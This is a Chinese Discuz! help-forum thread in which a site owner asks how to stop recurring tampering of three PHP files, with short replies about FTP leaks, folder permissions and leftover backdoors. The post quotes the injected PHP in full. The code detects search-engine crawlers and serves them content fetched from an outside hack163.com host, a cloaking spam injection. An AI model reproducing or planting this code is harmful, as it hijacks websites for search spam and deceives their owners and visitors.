🏠首页 › Discuz!问题求助 › 网站文件被篡改

xiao9469 发表于 2020-9-26 11:54:29

网站文件被篡改

网站forum.phhp\index.php\portal.php三个文件总被篡改，删除了很快就又被改了。在文件最开始加这样一段内容：
<?phpheader('Content-Type:text/html;charset=gb2312');
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,strtolower('HaosouSpider'))!== false||strpos($key,strtolower('baidu'))!== false||strpos($key,strtolower('Yisou'))!== false||strpos($key,strtolower('Sogou'))!== false||strpos($key,strtolower('YisouSpider'))!== false||strpos($key,strtolower('360Spider'))!== false||strpos($key,strtolower('Baiduspide'))!== false||strpos($key,strtolower('Soso'))!== false||strpos($key,strtolower('Yahoo'))!== false||strpos($key,strtolower('bingbot'))!== false )
{
date_default_timezone_set('PRC');
$TD_server = "http://www.hack163.com/shou/";
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);

echo $Content_mb;
}


?>
请问怎么处理？site域名后，出来的很多乱七八糟的内容，但点击后跳转的还是我的网站。外行头疼中。

TyCoding 发表于 2020-9-26 11:55:10

FTP泄漏还是什么？我一般用完FTP都关闭账号。

独家记忆 发表于 2020-9-26 11:55:54

删除了过一会就又被篡改了。

Crystαl 发表于 2020-9-26 11:56:13

删除后，关闭文件夹权限。

独家记忆 发表于 2020-9-26 11:56:24

谢谢指点。

拾光 发表于 2020-9-26 11:56:38

可以协助清楚木马276440802

独家记忆 发表于 2020-9-26 11:57:29

一般是 被挂马了 尽快清理木马

TyCoding 发表于 2020-9-26 11:57:45

后门都没去掉， 删掉相关代码是没用的

查看完整版本: 网站文件被篡改